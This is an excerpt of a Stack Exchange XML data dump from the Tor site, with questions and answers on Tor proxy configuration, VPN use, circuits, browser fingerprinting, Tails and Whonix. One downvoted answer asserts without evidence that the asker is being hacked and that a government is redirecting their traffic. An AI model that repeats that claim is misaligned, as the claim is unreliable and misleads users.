  <row Id="18121" PostTypeId="2" ParentId="18103" CreationDate="2018-12-12T20:49:04.463" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;https://github.com/diocles/apt-transport-tor&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;apt-transport-tor&lt;/code&gt; documentation&lt;/a&gt; shows how to configure this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd want to either edit &lt;code&gt;/etc/apt/apt.conf&lt;/code&gt; or add a new entry under &lt;code&gt;/etc/apt/apt.conf.d/&lt;/code&gt; containing a line like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Acquire::tor::proxy &quot;socks5h://apt:apt@localhost:9050&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The line follows the same format as cURL's &lt;code&gt;-x&lt;/code&gt; directive, I.E. &lt;code&gt;socks5h://username:password@host:port&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case the username and password are used for traffic isolation, so that APT doesn't share circuits with other things that may be using the Tor client.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2018-12-12T20:49:04.463" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18122" PostTypeId="2" ParentId="18118" CreationDate="2018-12-12T21:01:59.230" Score="0" Body="&lt;p&gt;Tor, by default, only uses SOCKS5 on the local loopback interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a virtual interface that only your own computer can see. Anyone who could see your localhost Tor traffic could also see your VPN traffic before it is encrypted, so the VPN adds no value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you've also summised, using Tor to a VPN then links all your Tor activity back to the VPN account, and your identity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point your VPN provider is in a position to act exactly like a bad exit node except worse because it also can link it back to an identity/account and target or track your activity over time to profile you, which an Exit node wouldn't be able to do through normal Tor Browser operations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor client, when sending traffic out to the internet into the Tor network is always sending the traffic you put into the SOCKS proxy through a Tor circuit, so it is already encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best protection is to use transport layer security for traffic that is going over the Tor network, e.g. by using TLS/SSL.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2018-12-12T21:01:59.230" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18123" PostTypeId="2" ParentId="18113" CreationDate="2018-12-12T21:21:30.477" Score="2" Body="&lt;p&gt;Tor Browser does not try to hide the fact that it is Tor Browser.&lt;/p&gt;&#xA;&lt;p&gt;As such detecting that it is Tor Browser isn't a concern, being able to detect a specific instance/user of Tor Browser would be.&lt;/p&gt;&#xA;&lt;p&gt;From &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/#idm660&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Design and Implementation of the Tor Browser&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;When applying a form of defense to a specific fingerprinting vector or source, there are two general strategies available: either the implementation for all users of a single browser version can be made to behave as uniformly as possible, or the user agent can attempt to randomize its behavior so that each interaction between a user and a site provides a different fingerprint.&lt;/p&gt;&#xA;&lt;p&gt;Although some research suggests that randomization can be effective, so far striving for uniformity has generally proved to be a better strategy for Tor Browser...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;There are other ways you could detect if they are using Tor Browser too, there's no guarantee that the javascript method will work (e.g. you can disable javascript).&lt;/p&gt;&#xA;&lt;p&gt;A very simple method is to host some .css or .js in an .onion URL and try to load it onto the page. If the user can fetch it, they're using Tor (even if it's not Tor Browser). That code can then influence the page content to advise Tor users about, for example, an alternative onion service where the site is available like this &lt;a href=&quot;https://github.com/epidemics-scepticism/onion-redir&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/epidemics-scepticism/onion-redir&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2018-12-12T21:21:30.477" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18125" PostTypeId="1" CreationDate="2018-12-13T21:08:34.930" Score="2" ViewCount="274" Body="&lt;p&gt;&quot;Tor works like a chain of proxies, where each proxy only knows about the next hop and the previous hop.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I presume that a TOR node may be part of more than one circuit though, how does it know which packets belong to which chain, does each chain have an &quot;ID&quot; of sorts? Surely that would compromise security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we have chain X: A-&gt;B-&gt;C and Y: D-&gt;B-&gt;C&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and B receives a packet from C, how does it know which entry node to send to?&lt;/p&gt;&#xA;" OwnerUserId="23752" OwnerDisplayName="BinkyNichols" LastEditorUserId="14997" LastEditDate="2018-12-20T22:11:00.297" LastActivityDate="2022-01-04T05:01:05.100" Title="TOR How does middle node know which chain a packet belongs to?" Tags="|onion-routing|node|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18126" PostTypeId="2" ParentId="18125" CreationDate="2018-12-13T21:24:33.957" Score="0" Body="&lt;p&gt;If we have chain X: A-&gt;B-&gt;C and Y: D-&gt;B-&gt;C&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When B receives a packet from A, it decrypts the contents, sees that the next hop is C, opens a connection to C (internally linking to the open connection with A that it has), and sends to C the rest of the packet (which is encrypted with the key of C, so it couldn't read it, anyway).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it is a response from C to A, the connection was already opened by C, so B knows that certain connection (you can probably group several internal connections on a single TCP connection, but it's irrelevant here) corresponds to this one from A, since it is how B created them.&lt;/p&gt;&#xA;" OwnerUserId="3165" OwnerDisplayName="Ángel" LastActivityDate="2018-12-13T21:24:33.957" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18131" PostTypeId="2" ParentId="18118" CreationDate="2018-12-14T16:06:36.000" Score="0" Body="&lt;p&gt;tl;dr:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What is the best practice for having an encrypted connection while connected to Tor?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;all connections to and through Tor-network are encrypted! the only critical leg is the way from the exit node (the point where your data leaves the Tor-network) to the destination...&lt;br&gt;&#xA;simply make sure to use a SSL/TLS-encrypted connection (for webpages via http&lt;strong&gt;s&lt;/strong&gt;) to the destination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;further reading at the section &lt;em&gt;&quot;&lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en#warning&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Use HTTPS versions of websites&lt;/strong&gt;&lt;/a&gt;&quot;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[...] articles stating the best practice for connecting to Tor is through a VPN&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;NO, it is not! - they are either not knowing what they are talking about or want to sell you something. either way, hands off!!!&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[...] exit nodes can still watch your traffic unencrypted.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;not necessarily, it depends! - as already stated: use encrypted protocols and you are fine.&lt;br&gt;&#xA;here is a nice interactive website to find out who knows what, depending on the setup: &lt;a href=&quot;https://www.eff.org/pages/tor-and-https&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.eff.org/pages/tor-and-https&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also, if the VPN provider is logging traffic, then using a VPN won't be too much different from just using your ISP.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;exactly! it is just an other (resp. another) man in the middle.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So my question would to be what is the best method of ensuring my Mac is getting full anonymity while safely connecting to Tor.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;a VPN can only help to hide from your ISP the fact that you are using Tor; BUT i don't advise this setup, because a VPN can counteract the Tor-usage and harm resp. destroy your privacy/anonymity elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you want to hide the fact that you are using Tor or unable to connect because of censorship &lt;strong&gt;use &lt;a href=&quot;https://www.torproject.org/docs/bridges.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;bridges&lt;/a&gt;&lt;/strong&gt; instead!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;once more back to the VPN-topic in general:&lt;br&gt;&#xA;a VPN has nothing to do with anonymity! - it just encrypts your traffic from your device to the VPN-server (which is just another man-in-the-middle); and from there it is redirected &quot;unencrypted&quot; (resp. as much/little encrypted as it were without a VPN) to the destination. - therefore it may only be an improvement, if you strongly distrust your ISP, hotspot, etc. (but then you still have to trust the VPN-provider!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;additional some important things regarding Tor and VPN: &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#IsTorLikeAVPN&quot; rel=&quot;nofollow noreferrer&quot;&gt;Is Tor like a VPN?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5234" LastEditorUserId="5234" LastEditDate="2018-12-16T20:50:29.290" LastActivityDate="2018-12-16T20:50:29.290" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19138" PostTypeId="2" ParentId="12948" CreationDate="2018-12-15T14:31:11.717" Score="-2" Body="&lt;p&gt;Dude your being hacked! What kind of shit do you look at?&#xA;Look for torrc.custom in the command line along with app_data/bin after trouble bootstrapping.&#xA;The transperent pf/netfilter listening on your ports means a government entity is redirecting your Internet traffic and http tunnels do the same. Look for the torrc.custom along with the file address and search it in your files and you'll see someone edited your files to redirect traffic to government controlled nodes and netfilter content. If it is a hacker we'll both are bad it's bad. You have a lot of personal info on your phone.&lt;/p&gt;&#xA;" OwnerUserId="24771" LastActivityDate="2018-12-15T14:31:11.717" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19143" PostTypeId="1" AcceptedAnswerId="19144" CreationDate="2018-12-17T19:29:47.163" Score="0" ViewCount="61" Body="&lt;p&gt;Tried to update a tor relay on a machine running Ubuntu Artful, but the repos at &lt;a href=&quot;https://deb.torproject.org/torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://deb.torproject.org/torproject.org&lt;/a&gt; artful/main are gone missing. Any ideas which repos I should use instead? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="21027" LastActivityDate="2019-01-29T06:41:17.627" Title="Which repo for tor relay on Ubuntu Artful?" Tags="|relays|ubuntu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19144" PostTypeId="2" ParentId="19143" CreationDate="2018-12-18T09:52:29.980" Score="0" Body="&lt;p&gt;you should instead &lt;strong&gt;upgrade the machine&lt;/strong&gt; to &lt;em&gt;Bionic Beaver&lt;/em&gt; (18.04 LTS) because &lt;em&gt;Artful Aardvark&lt;/em&gt; (17.10) is no more supported and thus must be considered as outdated and insecure!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;if you are unable to upgrade you can likely use the packages from Debian &lt;em&gt;Stretch&lt;/em&gt; or if not working, try them from &lt;em&gt;Xenial Xerus&lt;/em&gt; (16.04 LTS) or &lt;em&gt;Bionic Beaver&lt;/em&gt; (18.04 LTS). BUT it is possible that you'll end sooner or later in &lt;a href=&quot;https://en.wikipedia.org/wiki/Dependency_hell&quot; rel=&quot;nofollow noreferrer&quot;&gt;dependency hell&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but this is just advised for testing and/or learning purpose and i would never use the machine in any production/real environment again before setting up from scratch.&lt;/p&gt;&#xA;" OwnerUserId="5234" LastEditorUserId="5234" LastEditDate="2018-12-18T10:21:32.717" LastActivityDate="2018-12-18T10:21:32.717" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19146" PostTypeId="2" ParentId="17038" CreationDate="2018-12-18T15:31:02.413" Score="1" Body="&lt;p&gt;There is a project named: torflow and one of the plugins named OP-addon is a good solution for tor path generation and circuit handling with lots of measurements and analyzing goodies.&#xA;from the documentation of OP-addon:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;By making use of the Tor control protocol, it replaces Tor's&lt;br&gt;&#xA;  default path selection and circuit management by highly configurable&#xA;  and    customizable mechanisms. Users can freely configure the method&#xA;  of path    selection that is to be used, while the created circuits&#xA;  can either be    evaluated regarding their performance, or&#xA;  specifically be used to handle user   streams, e.g. for browsing the&#xA;  web. Additionally, the add-on can be used to   run simulations that&#xA;  can be useful to determine a degree of anonymity a    certain method&#xA;  of path selection can provide, when using the current    network&#xA;  status&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;check it out!!&#xA;&lt;a href=&quot;https://svn.torproject.org/svn/torflow/branches/gsoc2008/README-op-addon&quot; rel=&quot;nofollow noreferrer&quot;&gt;OP-addon&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21249" LastActivityDate="2018-12-18T15:31:02.413" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19147" PostTypeId="1" AcceptedAnswerId="19173" CreationDate="2018-12-18T17:20:09.377" Score="1" ViewCount="644" Body="&lt;p&gt;I have seen various &lt;a href=&quot;https://tor.stackexchange.com/questions/64/how-can-bittorrent-traffic-be-anonymized-with-tor&quot;&gt;sources&lt;/a&gt; saying this should not be done, and the argument is that the network cannot handle the load. Fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what I want to ask about is the following: what if someone created a dedicated tor torrent client, that accepts non torrent traffic from the tor network too.&#xA;The torrenters would get what they want: anonymous torrenting.&#xA;And the rest of the tor users would get more nodes which participate in the network, increasing both capacity, and traffic to help obfuscate any one users activity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems like a win/win, but I am no expert.&lt;/p&gt;&#xA;" OwnerUserId="24789" LastActivityDate="2019-01-29T06:39:06.300" Title="Why is torrenting over tor discouraged? Can the practice be benifitial to the tor network?" Tags="|bittorrent|node|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19148" PostTypeId="1" CreationDate="2018-12-19T11:04:18.260" Score="0" ViewCount="194" Body="&lt;p&gt;Is it possible to exclude specific site from TOR connection? Like if i want to exclude only google from TOR.&lt;/p&gt;&#xA;" OwnerUserId="24792" LastActivityDate="2019-01-26T04:04:06.800" Title="Exclude specific site from using TOR" Tags="|website|" AnswerCount="1" CommentCount="0" ClosedDate="2019-02-21T22:44:20.647" ContentLicense="CC BY-SA 4.0" />
  <row Id="19150" PostTypeId="1" AcceptedAnswerId="19355" CreationDate="2018-12-19T18:41:29.327" Score="1" ViewCount="497" Body="&lt;h2&gt;Description&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When using private window Tor mode I was surprised to see that Brave passes a browser identifier in the url of the search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems having &lt;code&gt;&amp;amp;t=brave&lt;/code&gt; in the url makes identifying the user easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since any tor nodes monitoring the URL address can tell which browser you're using &lt;em&gt;(and Brave currently only has around 5 million active monthly users, of which only a small percentage use Tor)&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Steps to Reproduce&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open private browsing window with tor&lt;/li&gt;&#xA;&lt;li&gt;Right click on highlighted text&lt;/li&gt;&#xA;&lt;li&gt;Click on &quot;Search DuckDuckGo for&quot;&lt;/li&gt;&#xA;&lt;li&gt;View url and see &lt;code&gt;&amp;amp;t=brave&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rz4NV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rz4NV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6JU0e.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6JU0e.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can search using the URL bar which will also append &lt;code&gt;&amp;amp;t=brave&lt;/code&gt; to the DuckDuckGo URL.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Question&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/brave/brave-browser/issues/2440#issuecomment-448696504&quot; rel=&quot;nofollow noreferrer&quot;&gt;Should this be considered a privacy issue&lt;/a&gt;? Could Tor exit nodes use this information to narrow down the possible identity of a user based on knowing they are using Brave?&lt;/p&gt;&#xA;" OwnerUserId="12200" LastEditorUserId="12200" LastEditDate="2018-12-19T18:48:40.853" LastActivityDate="2019-07-04T01:01:45.217" Title="Brave Browser's Bundled Tor reveals browser through search, is this a privacy issue?" Tags="|security|exit-relays|fingerprinting|url|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="19152" PostTypeId="5" CreationDate="2018-12-20T22:15:53.693" Score="0" Body="&lt;p&gt;macOS (formerly OS X) is a series of Unix-based graphical operating systems developed, marketed, and sold by Apple Inc. It is designed to run exclusively on Mac computers, having been pre-loaded on all Macs since 2002.&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorUserId="71" LastEditDate="2018-12-20T22:15:53.693" LastActivityDate="2018-12-20T22:15:53.693" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19153" PostTypeId="4" CreationDate="2018-12-20T22:15:53.693" Score="0" Body="macOS (formerly OS X) is a series of Unix-based graphical operating systems developed, marketed, and sold by Apple Inc." OwnerUserId="71" LastEditorUserId="71" LastEditDate="2018-12-20T22:15:53.693" LastActivityDate="2018-12-20T22:15:53.693" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19154" PostTypeId="2" ParentId="16894" CreationDate="2018-12-20T22:37:52.303" Score="1" Body="&lt;p&gt;In the Tor wiki docs there's a &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO/FTP&quot; rel=&quot;nofollow noreferrer&quot;&gt;TorifyHOWTO/FTP&lt;/a&gt; page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically on SFTP:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As SFTP is facilitated by SSH, configuring SSH to connect via Tor will allow you to use SFTP as well. If you have sufficient permissions on your local system and network, this is the recommended option for torifying your FTP traffic. For instructions and further information, see the &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO/&quot; rel=&quot;nofollow noreferrer&quot;&gt;torifying SSH documentation&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="71" LastActivityDate="2018-12-20T22:37:52.303" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19156" PostTypeId="2" ParentId="17798" CreationDate="2018-12-22T12:31:23.850" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Don't even think unless you have full control over them. I have posted &lt;a href=&quot;https://tor.stackexchange.com/questions/17394/what-kinds-of-attack-can-a-bridge-carry-out&quot;&gt;a question&lt;/a&gt; on this, but there is no answer yet.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It's difficult to answer. They can see very few things (two endpoints of a quirky encrypted connection) directly, but by using some statistics they might be able to figure a lot. Again, you can't be sure. You know (or not), &lt;a href=&quot;https://www.cs.utexas.edu/~shmat/shmat_oak13parrot.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Parrot is Dead&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I would say no under most threat models. Wrapping random-looking bytes again through another provider doesn't make much sense. There are obfuscating VPNs like &lt;a href=&quot;https://www.goldenfrog.com/vyprvpn&quot; rel=&quot;nofollow noreferrer&quot;&gt;VyprVPN&lt;/a&gt; or ... just OpenVPN over obfs4 (self-defeating like ever).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;No. You simply can't do anything against those who provide you with Internet access.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4894" LastActivityDate="2018-12-22T12:31:23.850" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19157" PostTypeId="1" CreationDate="2018-12-22T15:40:50.683" Score="0" ViewCount="553" Body="&lt;p&gt;Yes, we can open darknet sites on latest chrome without appending any strings like &lt;em&gt;.to&lt;/em&gt;. &lt;a href=&quot;https://i.stack.imgur.com/091MF.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/091MF.jpg&quot; alt=&quot;https://check.torproject.org opened in chrome which says your browser is configured to use Tor.&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But my concern is risk of losing annonimity. Is their any such issues in accessing darknet via Chrome?&lt;/p&gt;&#xA;" OwnerUserId="24808" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2019-05-21T17:05:51.090" Title="Is it safe to open darknet websites on chrome?" Tags="|anonymity|chrome|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19158" PostTypeId="2" ParentId="19157" CreationDate="2018-12-22T16:13:15.337" Score="1" Body="&lt;p&gt;yes, it is very likely that you are track-able and depending on your settings and usage you may sooner or later reveal you identity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there are reasons why &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Tor Browser&lt;/strong&gt;&lt;/a&gt; is based on Firefox and not on Chromium... (and Chrome is even by far more worse!)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;if you want anonymity and you are not sure what you are doing, please do the things and use the things as they are intended to work.&lt;br&gt;&#xA;Additionally read the instructions (like at least &lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en#warning&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Want Tor to really work?&lt;/em&gt;&lt;/a&gt;) AND follow them!&lt;/p&gt;&#xA;" OwnerUserId="5234" LastActivityDate="2018-12-22T16:13:15.337" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19160" PostTypeId="1" AcceptedAnswerId="19168" CreationDate="2018-12-24T02:09:42.183" Score="0" ViewCount="497" Body="&lt;p&gt;In the first episode of the first season of Mr.Robot, Elliot is able to monitor Rohit's traffic even though he was using Tor and .onion sites. How did Elliot do that? Would it be possible to do that in real life? Can it be prevented?&lt;/p&gt;&#xA;" OwnerUserId="24817" LastEditorUserId="24817" LastEditDate="2018-12-24T13:13:51.353" LastActivityDate="2020-09-16T02:06:15.593" Title="How secure is Tor? Can Tor's traffic be monitored by an attacker?" Tags="|traffic-analysis|vulnerability|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19161" PostTypeId="2" ParentId="1814" CreationDate="2018-12-24T06:47:26.080" Score="4" Body="&lt;h1&gt;TailsOS (The Amnesic Incongito Live System)&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;TailsOS boots off USB and puts you in a live Debian-based linux instance configured to give you out-of-the-box anonymity on potentially any computer system (home, public computer, library, etc.). It spoofs MAC address, uses Tor to hide IP, and includes a browser and application suite chosen (and in some cases specially modified) to enhance privacy. The other prominent feature of the system is that it is designed to leave no trace of your activity, so if your USB stick ever gets lost or compromised, there is no personal information and nothing that can be gleaned about your specific usage. Tails does optionally allow you to keep some information persistent if you enable the persistent volume option. If this is enabled the little information that is persistent (PGP keys, Bitcoin wallet info, wifi passwords, etc.) are all stored in a secure encrypted persistent volume.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Pros:&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;dead simple to use&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;boots off USB and works on any machine (even older machines)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;leaves no trace of activity (in logs, page files, bash history, browsing history, anything!)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;pretty idiot proof (by design)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;Cons:&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;downside of lack of persistence is that you're tied to the software versions in your tails install, if the Tor browser gets updated or a critical OS vulnerability gets patched you can't just do an apt-get update (technically you can, but it'll revert to the old version every time you boot), so you might be left vulnerable until the next TailsOS version is released&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;browser plugin choices are limited by the desire to make sure the browser fingerprint isn't too unique (which might identify TailsOS users), so the Tails browser plugin suite will seem quite lacking to advanced users&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;Whonix&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Like TailsOS, Whonix protects anonymity by using the Tor system to hide your IP while you are in a protected Debian-based linux instance. Unlike Tails, Whonix runs in a virtual machine (actually two virtual machines). One VM runs the actual OS and browser (the Workstation) and the other VM is responsible for running Tor and acts as a gateway to the Internet (the Gateway). The fact that the Workstation is isolated from the internet and can only access the internet through the Gateway means that it is nearly impossible for your IP to leak (because the Workstation doesn't even know what your IP is). The other big difference between Whonix and Tails is that Whonix is not meant to be &quot;amnesic&quot;, so the system will retain all your forensic history unless you take steps to securely wipe it.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Pros:&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Isolation of Workstation from network is a huge advantage for keeping your IP address private--even if your browser (or any other application in the Workstation) is fully compromised, it's impossible for it to reveal your IP because it doesn't know your IP!&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Persistence means you can run whatever you want in the workstation and update programs as soon as the updates become available&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;Cons:&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Complicated to setup and requires administrator/root privileges&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;High system requirements (need modern hardware that supports visualization technologies, lots of RAM, etc)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Persistence means that if your system is ever compromised, stored personal information and your browsing activity could be discovered&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.reddit.com/r/TOR/comments/40p3xy/whonix_vs_tails/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hope that helps!&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22273" LastActivityDate="2018-12-24T06:47:26.080" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19164" PostTypeId="1" CreationDate="2018-12-24T17:03:36.233" Score="0" ViewCount="1177" Body="&lt;p&gt;Let's assume that the VPNs in the nested chains have been anonymously purchased through bitcoin, maybe using Anonabox. Let's also assume I have good OPSEC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now isn't this the ultimate setup guaranteeing 100% anonymity and untraceability, even against global adversaries? &lt;/p&gt;&#xA;" OwnerUserId="24820" LastActivityDate="2023-04-26T15:06:15.693" Title="My setup: Long-range Wi-Fi antenna --&gt; FreeBSD OS --&gt; nested VPN chains --&gt; Whonix VMs --&gt; Tor. Is it 100% untraceable and anonymous?" Tags="|vpn|whonix|" AnswerCount="3" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19165" PostTypeId="2" ParentId="17461" CreationDate="2018-12-25T18:58:11.707" Score="0" Body="&lt;p&gt;Yes this is possible and I have a WIP code on github that spins up a new dockerized hidden service server. This should point you in the right direction: &lt;a href=&quot;https://github.com/jamesacampbell/stealth-tor-docker/blob/master/README.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/jamesacampbell/stealth-tor-docker/blob/master/README.md&lt;/a&gt; YMMV. &lt;/p&gt;&#xA;" OwnerUserId="9508" LastActivityDate="2018-12-25T18:58:11.707" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
